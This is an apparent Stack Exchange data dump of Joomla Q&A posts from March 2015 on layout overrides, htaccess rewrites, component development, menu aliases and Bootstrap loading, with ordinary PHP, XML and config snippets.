  <row Id="8978" PostTypeId="1" CreationDate="2015-03-10T10:15:19.550" Score="3" ViewCount="385" Body="&lt;p&gt;I've made my own version of blog.php, blog_item.php and blog.xml for my own category blog menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I've changed a few things so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I need to change it so that the intro image is above title, so it goes image &gt; title &gt; intro text. And optimally I want to put som control on intro-text dimensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find where the intro image is called, and where title is shown, so I can switch their positions in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site is here: &lt;a href=&quot;http://xn--herningidrtsrd-xibm.dk/elite/elite-idraetsgrene&quot; rel=&quot;nofollow&quot;&gt;http://xn--herningidrtsrd-xibm.dk/elite/elite-idraetsgrene&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3478" LastActivityDate="2020-05-14T22:06:23.957" Title="Where to edit category blog layout for alternative menu item" Tags="|layout|category|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8979" PostTypeId="2" ParentId="8975" CreationDate="2015-03-10T10:17:50.670" Score="1" Body="&lt;p&gt;How about using &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Element/scrollIntoView#Browser_compatibility&quot; rel=&quot;nofollow&quot;&gt;scrollIntoView()&lt;/a&gt;? While the options seem to be experimental, browser support for the basic feature is pretty good. So you'd add the javascript to the page somewhere below the content and have the script get element by id of the maincontent, then use scrollIntoView on the element.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-03-10T10:17:50.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8980" PostTypeId="2" ParentId="5879" CreationDate="2015-03-10T10:42:57.927" Score="0" Body="&lt;p&gt;You can unset scripts from head declaration by building a plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgSystemDelbootstrap extends JPlugin {&#xA;&#xA;public function onBeforeCompileHead() {&#xA;    $app = JFactory::getApplication();&#xA;&#xA;    //return noting to do if its admin&#xA;    if ($app-&amp;gt;isAdmin()) {&#xA;        return;&#xA;    }&#xA;&#xA;    $doc = JFactory::getDocument();&#xA;    // uncomment unwanted script&#xA;    //unset($doc-&amp;gt;_scripts['/media/jui/js/jquery.min.js']);&#xA;    //unset($doc-&amp;gt;_scripts['/media/jui/js/jquery-noconflict.js']);&#xA;    //unset($doc-&amp;gt;_scripts['/media/jui/js/jquery-migrate.min.js']);&#xA;    unset($doc-&amp;gt;_scripts['/media/jui/js/bootstrap.min.js']);&#xA;    //unset($doc-&amp;gt;_scripts['/media/jui/js/jquery.autocomplete.min.js']);&#xA;    //unset($doc-&amp;gt;_scripts['/media/system/js/caption.js']);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3844" LastActivityDate="2015-03-10T10:42:57.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8981" PostTypeId="1" CreationDate="2015-03-10T10:48:29.640" Score="0" ViewCount="3224" Body="&lt;p&gt;I'm running a Joomla 3.3.6 site and I'm using rewrite. I have a subfolder, that doesn't belong to the joomla site.&lt;br&gt;&#xA;I want to exclude this folder from the rewrite rule. This folder is also protected by a httaccess-file, but I cannot access it, because I always get a 404 error-page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;&#xA;RewriteCond %{REQUEST_URI} !^/(subfolder)$&#xA;&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you have any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Barbara&lt;/p&gt;&#xA;" OwnerUserId="3845" LastEditorUserId="126" LastEditDate="2016-01-21T23:22:39.873" LastActivityDate="2016-01-21T23:22:39.873" Title="I can not exclude folder from rewrite rules" Tags="|.htaccess-configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8982" PostTypeId="1" CreationDate="2015-03-10T11:15:38.603" Score="1" ViewCount="543" Body="&lt;p&gt;I would like to remove the word &quot;Featured&quot; that appear every time I set an article as FEATURED in K2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if my article meta title is: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is my article&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It changes to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is My Article Featured&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and I DON'T want this to happens, when I set the Featured state to my articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time and help, guys.&lt;/p&gt;&#xA;" OwnerUserId="3530" LastEditorUserId="115" LastEditDate="2015-04-26T22:55:02.647" LastActivityDate="2015-04-26T22:55:02.647" Title="How to prevent &quot;Featured&quot;appearing in the title tag of my K2 featured articles?" Tags="|joomla-2.5|k2|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8984" PostTypeId="1" CreationDate="2015-03-10T12:12:12.363" Score="3" ViewCount="3809" Body="&lt;p&gt;I need to update my joomla website which current version is 2.5.28. Now I'm trying to update it using this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I use XAMPP as a server environment (PHP 5.4, MySQL 5.6)&lt;/li&gt;&#xA;&lt;li&gt;Use a backup of my site&lt;/li&gt;&#xA;&lt;li&gt;Also use astable version of joomla 2.5.28&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I tried to update with both sites, the stable one and my one, but every time I get errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to update my site I do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;check for updates and update all things &lt;strong&gt;but for&lt;/strong&gt; the JSN air template&lt;/li&gt;&#xA;&lt;li&gt;go to joomla update, click on options on the right side and choose short time support, save and close&lt;/li&gt;&#xA;&lt;li&gt;click update button&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With the stable site I nearly do the same:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;go to joomla update, click on options on the right side and choose short time support, save and close&lt;/li&gt;&#xA;&lt;li&gt;click update button&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I said above that I get errors. If I want to update the stable one I get these results/errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after updating it completely (100%) I get a white page with an url like &quot;&lt;a href=&quot;http://localhost/stable/administrator/index.php?option=com_joomlaupdate&amp;amp;task=update.finalise&quot; rel=&quot;nofollow&quot;&gt;http://localhost/stable/administrator/index.php?option=com_joomlaupdate&amp;amp;task=update.finalise&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if I reload the page after getting the white page I get an error like &quot;Can't DROP 'usertype'; check that column/key exists SQL=ALTER TABLE bcyqr_users DROP KEY usertype;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if I reload the page again I get an error like &quot;Table 'stable.bcyqr_postinstall_messages' doesn't exist SQL=SHOW FULL COLUMNS FROM bcyqr_postinstall_messages&quot;&#xA;I looked in the database and I haven't a column with name &quot;usertype&quot;. What happened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's strange that it doesn't function with the normal joomla settings. On youtube I saw videos in which the people just did the steps I also did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And with my site I get the following errors:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;18 times: Use of undefined constant DS - assumed 'DS' in C:\xampp\htdocs\mysite\administrator\components\com_poweradmin\defines.poweradmin.php&lt;/li&gt;&#xA;&lt;li&gt;1 time: Class 'JSNConfigHelper' not found in C:\xampp\htdocs\mysite\plugins\system\jsnpoweradmin\jsnpoweradmin.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I googled that error, so I used this extension: &lt;a href=&quot;http://digitaldisseny.com/en/joomla-extensions/solve-undefined-ds-constant-joomla-3-error&quot; rel=&quot;nofollow&quot;&gt;http://digitaldisseny.com/en/joomla-extensions/solve-undefined-ds-constant-joomla-3-error&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then I couldn't update the joomla. I get a popup dialog with message &quot;Invalid login&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what to do to update the joomla. Can you help me? What I do wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3846" LastActivityDate="2016-08-09T13:41:14.770" Title="Update Joomla from 2.5.28 to 3.4.0" Tags="|update|migration|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8985" PostTypeId="1" AcceptedAnswerId="8987" CreationDate="2015-03-10T12:15:30.353" Score="1" ViewCount="2697" Body="&lt;p&gt;I'm developing a component for Joomla 3.x and I'm having a problem with &lt;strong&gt;JControllerLegacy getModel&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to call it from within my controller.php in the display function of the class CasehandlerController it breaks execution with no errors, just a blank page, as if the function was undefined. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exact same code works fine on my local developement server but on the production server it fails when making this call. The function is as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display($cachable = false, $urlparams = false) &#xA;{&#xA;    $this-&amp;gt;configuration = getConfiguration();&#xA;    // set default view if not set&#xA;    $input = JFactory::getApplication()-&amp;gt;input;&#xA;    $input-&amp;gt;set('view', $input-&amp;gt;getCmd('view', 'Casehandler'));&#xA;    $view = $this-&amp;gt;getView( $input-&amp;gt;get('view'), 'html' );&#xA;    echo 'model:';&#xA;    $model = $this-&amp;gt;getModel('Casehandler');// closing single quote missing here&#xA;&#xA;    echo 'model done.';&#xA;    $view-&amp;gt;setModel($model, true );&#xA;    $view-&amp;gt;setLayout( 'default' );&#xA;    $view-&amp;gt;display();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;model:&quot; gets echoed and &quot;model done.&quot; does not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to debug this by echoing lines from inside the model class but with no response from that either. Calling getModel() without arguments also produces the same result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the problem here when the exact same code runs fine on my local server?&lt;/p&gt;&#xA;" OwnerUserId="3847" LastEditorUserId="126" LastEditDate="2015-06-11T13:37:42.093" LastActivityDate="2015-06-11T13:37:42.093" Title="Can't call getModel from controller" Tags="|component|development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8986" PostTypeId="2" ParentId="3836" CreationDate="2015-03-10T12:30:38.220" Score="0" Body="&lt;p&gt;Probably you have problems with php scripts acceleration (your hosting provider).&#xA;We've found that same problem with EAccelerator module.&#xA;Problem appears only with installation Joomla 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tell your hosting admin to change modules.&#xA;There's more about that at &lt;a href=&quot;http://www.i-host.pl/blog,joomla_34_eaccelerator_crash.html&quot; rel=&quot;nofollow&quot;&gt;http://www.i-host.pl/blog,joomla_34_eaccelerator_crash.html&lt;/a&gt;    &lt;/p&gt;&#xA;" OwnerUserId="3848" LastActivityDate="2015-03-10T12:30:38.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8987" PostTypeId="2" ParentId="8985" CreationDate="2015-03-10T13:44:10.433" Score="1" Body="&lt;p&gt;Having debugged this further by echoing lines from the JControllerLegacy class inside the getModel function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got a hint from the $prefix variable, displaying the model name as &lt;strong&gt;casehandlerModel&lt;/strong&gt; instead of &lt;strong&gt;CasehandlerModel&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the filename of the model from &lt;strong&gt;casehandler.php&lt;/strong&gt; to &lt;strong&gt;Casehandler.php&lt;/strong&gt; was the fix to the problem...&lt;/p&gt;&#xA;" OwnerUserId="3847" LastEditorUserId="126" LastEditDate="2015-06-11T13:00:51.353" LastActivityDate="2015-06-11T13:00:51.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8988" PostTypeId="1" CreationDate="2015-03-10T14:24:41.507" Score="1" ViewCount="190" Body="&lt;p&gt;I have site which is build on JoomShopping module almost entirely. JoomShopping Search module assigned to all pages, and positioned on the left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I have enabled SEF urls. If I visit site by the SEF url (&lt;code&gt;/index.php/category&lt;/code&gt;), then search module won't be shown on pages anymore. But still will be shown on the same page retrieved by the full url (&lt;code&gt;index.php?option=com_jshopping&amp;amp;controller=category&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can it be this way?&lt;/p&gt;&#xA;" OwnerUserId="3849" LastEditorUserId="3650" LastEditDate="2016-03-06T21:45:46.887" LastActivityDate="2016-03-06T21:45:46.887" Title="Why doesn't Joomla show assigned JoomShopping modules on SEF URLs?" Tags="|joomla-3.x|module-display|sef|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8989" PostTypeId="2" ParentId="8981" CreationDate="2015-03-10T15:29:01.500" Score="1" Body="&lt;p&gt;Could you put a .htaccess file containing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine Off&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the folders you want to exclude from being rewritten.&lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2015-03-10T15:29:01.500" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8990" PostTypeId="1" AcceptedAnswerId="8991" CreationDate="2015-03-10T15:51:01.203" Score="0" ViewCount="251" Body="&lt;p&gt;I am building a component in Joomla 3.3 to list courses and their respective sections, and provide an administrative interface in the back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After my component is installed, or if I navigate to other administrative sections of Joomla, the menu items relating to my component seem to, uh, lose their titles. Rather than 'Course Listing' in the components menu, it will say com-courselist. Instead of 'Courses' in the sub menu item it will say 'com-coureslist-menu-courses', and the same problem for the 'sections' menu item as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on any of these menu items, the titles then change to what they are intended to be - Course Listing, Courses, Sections. Afterward, clicking to any other admin area, for example, the article manager, causes these menu items to go back to how they were immediately after install (com-courselist, com-courselist-menu-courses, com-courselist-menu-sections).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where the menu items pointing to different views are defined (in my xml manifest, courselist.xml):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- admin menu --&amp;gt;&#xA;    &amp;lt;menu link=&quot;option=com_courselist&quot;&amp;gt;COM_COURSELIST&amp;lt;/menu&amp;gt;&#xA;    &amp;lt;submenu&amp;gt;&#xA;        &amp;lt;menu link=&quot;option=com_courselist&amp;amp;amp;view=courselist&quot;&amp;gt;COM_COURSELIST_MENU_COURSES&amp;lt;/menu&amp;gt;&#xA;        &amp;lt;menu link=&quot;option=com_courselist&amp;amp;amp;view=sections&quot;&amp;gt;COM_COURSELIST_MENU_SECTIONS&amp;lt;/menu&amp;gt;&#xA;    &amp;lt;/submenu&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These language strings are defined in admin/language/en-GB/en-GB.com_courselist.ini&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_COURSELIST_MENU=&quot;Course Listing&quot;&#xA;COM_COURSELIST_MENU_COURSES=&quot;Courses&quot;&#xA;COM_COURSELIST_MENU_SECTIONS=&quot;Sections&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tMJyR.png&quot; alt=&quot;menu item immediately after installation or from another administrative sections besides that of the component iteself&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sscwN.png&quot; alt=&quot;menu items as seen when inside my components administrative views&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2297" LastEditorUserId="2297" LastEditDate="2015-03-10T15:57:33.973" LastActivityDate="2015-03-11T10:46:32.710" Title="MVC Component Admin Menu Item Language Strings Not Appearing" Tags="|component|menu-item|menu|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8991" PostTypeId="2" ParentId="8990" CreationDate="2015-03-10T15:55:42.903" Score="1" Body="&lt;p&gt;These language strings should be defined in &lt;code&gt;admin/language/en-GB/en-GB.com_courselist.sys.ini&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_a_MVC_Component/Adding_language_management&quot; rel=&quot;nofollow&quot;&gt;Developing a MVC Component/Adding language management&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="3" LastEditDate="2015-03-11T10:46:32.710" LastActivityDate="2015-03-11T10:46:32.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8992" PostTypeId="1" CreationDate="2015-03-10T16:54:42.060" Score="0" ViewCount="1055" Body="&lt;p&gt;I recently updated to Joomla 3.4, seemingly without issue. However today I'm trying to create a new Category Blog section on our site and it isn't displaying as expected. Instead of showing the articles in the typical blog format, it is displaying a table with a list of the articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can tell, the page &lt;a href=&quot;https://jadencabinets.com/getting-started/idea-gallery&quot; rel=&quot;nofollow&quot;&gt;https://jadencabinets.com/getting-started/idea-gallery&lt;/a&gt; is pulling components/com_content/views/category/tmpl/default.php to render &lt;code&gt;&amp;lt;div class=&quot;category-list&quot;&amp;gt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;div class=&quot;blog&quot;&amp;gt;&lt;/code&gt; and I can't for the life of me figure out why. The menu item is a Category Blog. The layout in global configuration for category is set to Blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's even stranger is that if you click on a link to one of the subcategories &lt;a href=&quot;https://jadencabinets.com/getting-started/idea-gallery/508-shaker-white&quot; rel=&quot;nofollow&quot;&gt;https://jadencabinets.com/getting-started/idea-gallery/508-shaker-white&lt;/a&gt; or &lt;a href=&quot;https://jadencabinets.com/getting-started/idea-gallery/509-leo-saddle&quot; rel=&quot;nofollow&quot;&gt;https://jadencabinets.com/getting-started/idea-gallery/509-leo-saddle&lt;/a&gt;, they both display just fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas/suggestions here? I'd greatly appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I had created a category blog override a while back to test something and never renamed the option in its .xml file, so it was showing up as the Category Blog option when creating a menu item. DOH!&lt;/p&gt;&#xA;" OwnerUserId="1893" LastEditorUserId="-1" LastEditDate="2015-03-11T07:55:25.047" LastActivityDate="2015-03-11T09:49:57.273" Title="Joomla 3.4 Category Blog displaying articles in a table instead of blog format" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8994" PostTypeId="1" CreationDate="2015-03-10T22:33:43.140" Score="2" ViewCount="130" Body="&lt;p&gt;I have the following Menu Structure&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Books [/books]&#xA;    New Books [/books/new-books]&#xA;        Fiction [/books/new-books/fiction]&#xA;        Sci Fi[/books/new-books/sci-fi]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Books Menu has Books (the Menu itself) as the first level, New books as the second level and Fiction and Sci Fi as the third level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to achieve is the following. Essentially the url structure for the 'Sci Fi' Menu Item remains the same but visually, it sits under Fiction. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Books [/books]&#xA;    New Books [/books/new-books]&#xA;        Fiction [/books/new-books/fiction]&#xA;            Sci Fi[/books/new-books/sci-fi]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There were two ways I thought I might (a big might at that) be able to achieve this but both seems like a very 'ugly' way to go about doing it but I can't think of any other way I could achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Method 1: Created a content plugin to which will check a pre-defined class name on the  of the menu list item -&gt; get the parent li -&gt; remove all such menu items and put it under another predefined parent item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Method 2: Using jQuery get all the list items with a defined class (in the jsfiddle &quot;fourth-menu&quot;), remove it from their existing position and add it to the pre-defined parent (using class/id on the menu item href).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I mentioned before both method sounds very convoluated so I was wondering if there was a better way to achieve this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a &lt;a href=&quot;http://jsfiddle.net/h7v0dfcL/1/&quot; rel=&quot;nofollow&quot;&gt;jsfiddle&lt;/a&gt; which makes it a bit more clear as to what I am trying to achieve.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-03-10T23:37:36.863" Title="Create custom hierarchy in Menu Module" Tags="|module|fix-my-code|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8995" PostTypeId="2" ParentId="8994" CreationDate="2015-03-10T23:37:36.863" Score="2" Body="&lt;p&gt;You can always use template overrides to achieve an altered rendering, &lt;code&gt;mod_menu&lt;/code&gt; is no exception. But a better way might be the use of &lt;code&gt;Menu Item Aliases&lt;/code&gt;. You can find this menu item type under &quot;System Links&quot; if you create or modify a menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;Menu Item Alias&lt;/code&gt; will use the URL of its target menu item. A possible structure could look like the following example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Basic Menu, which may or may not be displayed:&#xA;- RealA (type: any) =&amp;gt; /a&#xA;- - RealB (type: any) =&amp;gt; /a/b&#xA;- - RealC (type: any) =&amp;gt; /a/c&#xA;&#xA;Special Menu, which will be displayed through mod_menu&#xA;- AliasC (type: alias, target: Realc) =&amp;gt; /a/c&#xA;- - AliasA (type: alias, target: RealA) =&amp;gt; /a&#xA;- AliasB (type: alias, target: RealB) =&amp;gt; /a/b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2015-03-10T23:37:36.863" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8996" PostTypeId="2" ParentId="4953" CreationDate="2015-03-11T04:46:17.223" Score="2" Body="&lt;p&gt;Joomla does not load bootstrap CSS automatically, but it does load the JS. If your template uses the standard method to load the Joomla head:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will load mootools, jquery, and bootstrap files in this order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;/media/system/js/mootools-core.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/media/system/js/core.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/media/system/js/caption.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/media/system/js/mootools-more.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/media/jui/js/jquery.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/media/jui/js/jquery-noconflict.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/media/jui/js/bootstrap.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does not load CSS files. You can test it by removing the line from your template file, then checking which head files go missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bootstrap CSS is loaded by your template. Joomla (since 2.5 I believe) included Bootstrap 2.x in their media files for easy access. Protostar for some reason does not call bootstrap from the media files. Instead, they have copy and pasted the entire bootstrap CSS into their template.css file. Other frameworks call Bootstrap. Warp 7, for example, does have a checkbox to enable or disable Bootstrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the frontend and backend have different templates, Bootstrap can be loaded or disabled for one and not the other. There is no dependency if you wish to disable Bootstrap from the frontend and not the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My preference is Bootstrap 3, so on several different custom templates, I've downloaded and included the bootstrap 3 css in my template head after the joomla head line and within my template head tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;setMetaData( 'viewport', 'width=device-width, initial-scale=1, minimum-scale=1' );&#xA;$document-&amp;gt;addStyleSheet($this-&amp;gt;baseurl.'/templates/'.$this-&amp;gt;template.'/css/bootstrap.min.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The method is slightly different for frameworks such as Warp 7. You can also load directly from the bootstrap CDN url if you prefer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Joomla does not force you to use Bootstrap or any version of Bootstrap, at least for the CSS. You could use other responsive frameworks if you like. It's all done in the template. No need for hacks or plugins.&lt;/p&gt;&#xA;" OwnerUserId="3853" LastActivityDate="2015-03-11T04:46:17.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8997" PostTypeId="1" CreationDate="2015-03-11T06:08:47.903" Score="0" ViewCount="385" Body="&lt;pre&gt;&lt;code&gt; '&amp;lt;field name=&quot;id_'.$filter_record['id'].'_hourfrom&quot; type=&quot;integer&quot;&#xA;                        label=&quot;from&quot; description=&quot;Delivery Hour Range&quot;&#xA;                         size=&quot;'.$filter_record['holdout'].'&quot;&#xA;                        maxlength=&quot;20&quot;&#xA;                        required=&quot;true&quot;&#xA;                        class = &quot;hourfrom&quot;&#xA;                        first = &quot;1&quot;&#xA;                        last = &quot;'.$filter_record['list_limit'].'&quot;&#xA;                        step = &quot;1&quot;&#xA;                        filter=&quot;user_utc&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have this code above which dynamically generates input fields in the view using XML. The problem is that I want to add a custom attribute so I can use it in javascript processing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example: value_type = &quot;single&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to add this in the code above, in the processed page, it is not displayed, and I cannot also get the attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a proper way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="126" LastEditDate="2016-01-21T23:22:02.503" LastActivityDate="2016-01-21T23:22:02.503" Title="Cannot add custom XML attributes in field" Tags="|joomla-3.x|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8998" PostTypeId="2" ParentId="8997" CreationDate="2015-03-11T06:38:18.710" Score="1" Body="&lt;p&gt;Joomla does not renders all the attributes which you mention in the xml.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are limited set of attributes which are made visible or their relevant action is added in the field html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i would suggest you to add your custom parameter in the class attribute so that it will be visible and you can perform your javascript processing by fetching the class on that element.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-03-11T06:38:18.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
